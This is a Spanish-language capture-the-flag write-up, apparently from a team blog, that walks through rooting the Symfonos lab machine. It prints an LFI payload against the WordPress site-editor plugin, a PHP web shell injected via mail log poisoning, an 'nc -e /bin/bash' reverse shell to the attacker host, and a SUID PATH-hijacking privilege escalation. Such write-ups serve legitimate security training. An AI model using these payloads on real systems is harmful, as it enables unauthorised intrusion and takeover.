Ir al contenido

OPERACIÓN SYMFONOS: DE SMB A PATH HIJACKING - Equipo Portelcore

Objetivo: Compromiso total (Root) de la máquina objetivo Symfonos. Vector Final: Path Hijacking (Privilege Escalation). Target IP: 172.20.0.142 Estado...

0lecturas

Objetivo: Compromiso total (Root) de la máquina objetivo Symfonos. Vector Final: Path Hijacking (Privilege Escalation). Target IP: 172.20.0.142 Estado: 🚩 ROOT OBTENIDO & FLAG CAPTURADA

FASE 1: ACCESO INICIAL (ENUMERACIÓN & EXPLOTACIÓN)

Sección titulada «FASE 1: ACCESO INICIAL (ENUMERACIÓN & EXPLOTACIÓN)»

Antes de plantearnos un Path Hijacking, necesitábamos conseguir una shell inicial. Hemos comenzado con una fase exhaustiva de reconocimiento de red para identificar la superficie de ataque.

1.0 Reconocimiento Inicial (Escaneo de Puertos)

Sección titulada «1.0 Reconocimiento Inicial (Escaneo de Puertos)»

Hemos ejecutado un script de automatización propio (auto_scan_ip_nmap_Supreme.sh) para realizar un escaneo profundo del objetivo 172.20.0.142.

Orden Ejecutada:

Ventana de terminal
sudo ./auto_scan_ip_nmap_Supreme.sh -i 172.20.0.142 --scan-type standard --web-scan

Comando Nmap subyacente: El script ha lanzado la siguiente orden Nmap para obtener el máximo detalle:

Ventana de terminal
/usr/lib/nmap/nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery --reason -v --host-timeout 20m -p22,25,80,139,445 -oA scans/172.20.0.142/detailed 172.20.0.142

RESULTADOS DEL ESCANEO (Puertos y Servicios):

Hemos identificado los siguientes servicios críticos expuestos:

PuertoEstadoServicioVersión / Detalles
22/tcpAbiertosshOpenSSH (Debian)
25/tcpAbiertosmtpPostfix smtpd (Debian/GNU)
80/tcpAbiertohttpApache httpd 2.4.25 ((Debian))
139/tcpAbiertonetbios-ssnSamba smbd 3.X - 4.X (Workgroup: WORKGROUP)
445/tcpAbiertonetbios-ssnSamba smbd 4.5.16-Debian (Workgroup: WORKGROUP)

Análisis Táctico Inicial:

  1. SMB (139/445): Samba 4.5.16 es una versión antigua. Este será nuestro punto de entrada principal.
  2. HTTP (80): Servidor Apache. Si la entrada por SMB falla, buscaremos directorios web o vulnerabilidades en la aplicación.
  3. SMTP (25): Postfix. Podría ser útil para la enumeración de usuarios o técnicas de Log Poisoning.

1.0.1 Reconocimiento Avanzado de SMB (Nmap Scripts)

Sección titulada «1.0.1 Reconocimiento Avanzado de SMB (Nmap Scripts)»

Los scripts de Nmap (smb-enum-*) han proporcionado una inteligencia crucial sobre la configuración del servicio Samba:

Resultados Clave:

  1. Usuarios: Se ha confirmado la existencia del usuario helios en el dominio SYMFONOS.
  2. Recursos (Shares):
    • anonymous: Acceso de lectura/escritura (READ/WRITE) para invitados (guest).
    • helios: Recurso personal del usuario helios.
    • IPC$: Servicio IPC.
  3. Contenido Exposado: El recurso anonymous contiene un archivo llamado attention.txt.
  4. Seguridad: La firma de mensajes (Message Signing) está desactivada (disabled), lo que podría permitir ataques de tipo relay, aunque no es necesario en este caso.

Evidencia Raw (Nmap):

| smb-enum-domains:
| SYMFONOS
| Users: helios
...
| smb-ls: Volume \\172.20.0.142\anonymous
| SIZE TIME FILENAME
| <DIR> 2019-06-29T01:14:49 .
| <DIR> 2019-06-29T01:12:15 ..
| 154 2019-06-29T01:14:49 attention.txt
...
| smb-enum-shares:
| \\172.20.0.142\anonymous:
| Type: STYPE_DISKTREE
| Path: C:\usr\share\samba\anonymous
| Anonymous access: READ/WRITE
...
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos
| NetBIOS computer name: SYMFONOS\x00

1.1 Enumeración de SMB (El Eslabón Débil)

Sección titulada «1.1 Enumeración de SMB (El Eslabón Débil)»

Con el objetivo claro en el protocolo SMB, a menudo permite el acceso anónimo o nulo si no está bien configurado. Procederemos a listar los recursos compartidos disponibles.

Orden Táctica:

# Listar recursos (-L) sin contraseña (-N)
smbclient -L //172.20.0.142 -N

EVIDENCIA RECOLECTADA:

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
helios Disk Helios personal share
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)

Análisis de Inteligencia:

  • anonymous: Recurso accesible. Nuestro punto de entrada prioritario.
  • helios: Nos revela un nombre de usuario válido del sistema (helios). Este será nuestro objetivo para ataques de fuerza bruta o reutilización de contraseñas más adelante.

Nos conectaremos al recurso anonymous para inspeccionar su contenido y exfiltrar cualquier dato relevante.

Orden de Exfiltración:

smbclient //172.20.0.142/anonymous -N
smb: \> get attention.txt
smb: \> exit

EVIDENCIA DE EXFILTRACIÓN:

smb: \> get attention.txt
getting file \attention.txt of size 154 as attention.txt (7.9 KiloBytes/sec) (average 7.9 KiloBytes/sec)
smb: \> exit

Análisis de Contenido (cat attention.txt):

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus

NUEVA INTELIGENCIA OBTENIDA:

  1. Nuevo Usuario Identificado: zeus (Probable administrador o usuario privilegiado).
  2. Lista de Contraseñas Filtradas (Diccionario):
    • epidioko
    • qwerty
    • baseball

Probararemos las credenciales extraídas contra el usuario helios en el servicio SMB.

Intento Fallido (Password: helios):

smbclient //172.20.0.142/helios -U helios
Password for [WORKGROUP\helios]:
session setup failed: NT_STATUS_LOGON_FAILURE

Intento Exitoso (Password: qwerty):

smbclient //172.20.0.142/helios -U helios
# Password: qwerty

EVIDENCIA DE ÉXITO:

smb: \> ls
. D 0 Sat Jun 29 02:32:05 2019
.. D 0 Sat Jun 29 02:37:04 2019
research.txt A 432 Sat Jun 29 02:32:05 2019
todo.txt A 52 Sat Jun 29 02:32:05 2019

Análisis de Situación:

  • Acceso Asegurado: La contraseña qwerty es válida para helios en SMB.
  • Nuevos Objetivos: research.txt y todo.txt. Estos archivos suelen contener rutas ocultas del servidor web (“Seguridad por oscuridad”).

Desde la sesión SMB de helios, iremos a exfiltrar los archivos encontrados.

smb: \> get research.txt
getting file \research.txt of size 432 as research.txt (28.1 KiloBytes/sec)
smb: \> get todo.txt
getting file \todo.txt of size 52 as todo.txt (5.1 KiloBytes/sec)

Paso 2: Análisis de Archivos (La Pista Dorada)

Sección titulada «Paso 2: Análisis de Archivos (La Pista Dorada)»

cat research.txt:

Helios (también Helius) fue el dios del Sol en la mitología griega… (Información genérica, irrelevante).

cat todo.txt:

1. Binge watch Dexter
2. Dance
3. Work on /h3l105

El punto 3 revela una ruta de directorio oculta al servidor web: /h3l105.

Ejecutaremos wpscan para identificar vectores de ataque al sitio WordPress descubierto:

Orden Ejecutada:

wpscan --url [http://172.20.0.142/h3l105/](http://172.20.0.142/h3l105/) --enumerate p
  • Versión WordPress: 5.2.2.
  • Plugins: No detectados por métodos pasivos.
  • Acción Correctiva: Búsqueda manual de plugins comunes a Symfonos (site-editor, mail-manning).

Confirmaremos que el plugin site-editor está instalado y es vulnerable a LFI.

URL de Explotación (Payload): http://172.20.0.142/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Evidencia de Salida:

root:x:0:0:root:/root:/bin/bash
...
helios:x:1000:1000:,,,:/home/helios:/bin/bash
{"success":true,"data":{"output":[]}}

Estado: Vulnerabilidad LFI confirmada. Lectura arbitraria de archivos activa.

1. Envenenamiento (Poisoning) - YA REALIZADO: Inyectaremos <?php system($_GET['cmd']); ?> a /var/mail/helios via Telnet.

2. Ejecución de Comandos (Trigger): Llamaremos al log envenenado utilizando la vulnerabilidad LFI del plugin site-editor.

URL de Detonación: .../ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=id

Evidencia de RCE: El servidor retornará el contenido del correo, incluyendo el resultado de la ejecución del comando id al final:

From attacker@symfonos.localdomain Mon Feb 9 09:59:37 2026
Return-Path: <attacker@symfonos.localdomain>
...
Subject: Pwned
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy)...
{"success":true,"data":{"output":[]}}

Estado: RCE CONFIRMADO. Tenemos ejecución de código como usuario helios.

3. Reverse Shell (Acceso Final): Desde el navegador, lanzaremos la shell inversa hacia nuestra máquina Kali:

&cmd=nc -e /bin/bash 172.20.0.165 4444

Evidencia de Shell Obtenida:

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.20.0.165] from (UNKNOWN) [172.20.0.142] 52086

FASE 2: ESCALADA DE PRIVILEGIOS (PATH HIJACKING)

Sección titulada «FASE 2: ESCALADA DE PRIVILEGIOS (PATH HIJACKING)»

Una vez obtenida la shell como usuario helios, procederemos a enumerar el sistema en busca de binarios SUID vulnerables.

2.1 Identificación del Objetivo (Caza SUID)

Sección titulada «2.1 Identificación del Objetivo (Caza SUID)»

Buscaremos binarios con el bit SUID activado que parezcan “extraños” o personalizados.

Orden Ejecutada:

find / -perm -4000 -type f 2>/dev/null

Evidencia Recogida:

/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck <-- ¡SOSPECHOSO!
/bin/mount
/bin/umount
/bin/su
/bin/ping

Análisis Táctico: El binario /opt/statuscheck no es un binario estándar de Linux. Su ubicación en /opt y su nombre sugieren que es un script o programa personalizado por el administrador. Es nuestro objetivo principal.

Investigaremos qué hace el binario sospechoso.

Orden: strings /opt/statuscheck

Evidencia Recogida:

Ventana de terminal
...
curl -I H
http://lH
ocalhostH
...

Diagnóstico Definitivo: El binario invoca el comando curl sin especificar su ruta absoluta (es decir, utiliza curl en lugar de /usr/bin/curl). Esto confirma que es vulnerable a Path Hijacking.

Asumiendo que el binario ejecuta curl sin ruta absoluta, procederemos con el ataque:

1. Preparar el Payload: Crearemos un script malicioso llamado curl que invoca una shell.

Ventana de terminal
cd /tmp
echo "/bin/sh" > curl
chmod +x curl

2. Secuestrar el PATH: Modificaremos la variable de entorno para que el sistema busque primero en /tmp.

export PATH=/tmp:$PATH

3. Detonar: Ejecutaremos el binario SUID. Al llamarse a curl, el sistema ejecutará nuestro script con permisos de root (heredados del SUID).

/opt/statuscheck

Evidencia Final (ROOT):

whoami
root

Orden: cat /root/proof.txt

((( )) / ~~ \ /~ __--~~ --~~ __/~ _-~ /
((\~\ | ) | ' / __--~~ \-~~ _-~
`\(\ __--( _/ |'\ / --~~ __--~' _-~ ~|
( ((~~ __-~ \~\ / ___---~~ ~~\~~__--~
~~\~~~~~~ `\-~ \~\ / __--~~~'~~/
;\ __.-~ ~-/ ~~~~~__\__---~~ _..--._
;;;;;;;;' / ---~~~/_.-----.-~ _.._ ~\
;;;;;;;' / ----~~/ `\,~ `\ \
;;;;' ( ---~~/ `:::| `\\.
|' _ `----~~~~' / `:| ())))),
______/\/~ | / / (((((())
/~;;.____/;;' / ___.---( `;;;/ )))'`))
/ // _;______;'------~~~~~ |;;/\ / (( (
// \ \ / | \;;,\ `
(<_ \ \ /',/-----' _>
\_| \\_ //~;~~~~~~~~~
\_| (,~~
\~\
~~
Contact me via Twitter @zayotic to give feedback!

FIN DEL INFORME